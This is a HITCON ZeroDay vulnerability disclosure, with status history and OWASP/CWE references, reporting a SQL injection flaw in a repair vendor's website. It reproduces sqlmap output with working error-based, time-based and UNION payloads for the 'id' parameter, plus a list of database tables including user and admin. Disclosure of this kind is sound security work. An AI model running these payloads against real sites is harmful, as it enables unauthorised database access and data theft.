Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00779
- 發信 Vendor: 愛瘋修
- Title: 愛瘋修網站存在SQL Injection弱點
- Introduction: 存在SQL Injection弱點
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/09/15 00:34:04 : 新提交 (由 傳說中的廢人 更新此狀態)
- 2017/09/16 13:10:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/16 20:27:26 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/16 20:27:27 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/15 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2017-00779
- 通報者：elijiachen (傳說中的廢人)
- 風險：中
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
sqlmap identified the following injection point(s) with a total of 8248 HTTP(s) requests:
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1789 AND (SELECT 7680 FROM(SELECT COUNT(),CONCAT(0x716b767a71,(SELECT (ELT(7680=7680,1))),0x716b786a71,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1789 AND (SELECT * FROM (SELECT(SLEEP(5)))aBRU)
Type: UNION query
Title: Generic UNION query (NULL) - 54 columns
Payload: id=1789 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b767a71,0x595a645541786e6343735751494666774f49675a5778506263774f79565a74737242615867625771,0x716b786a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -Database: amc
[17 tables]
+---------------------------------------+
| user |
| about |
| admin |
| album |
| banner |
| brand |
| category |
| company |
| dealer_account |
| download |
| event |
| news |
| product |
| product_category |
| request_form |
| setting |
| slide |
+---------------------------------------+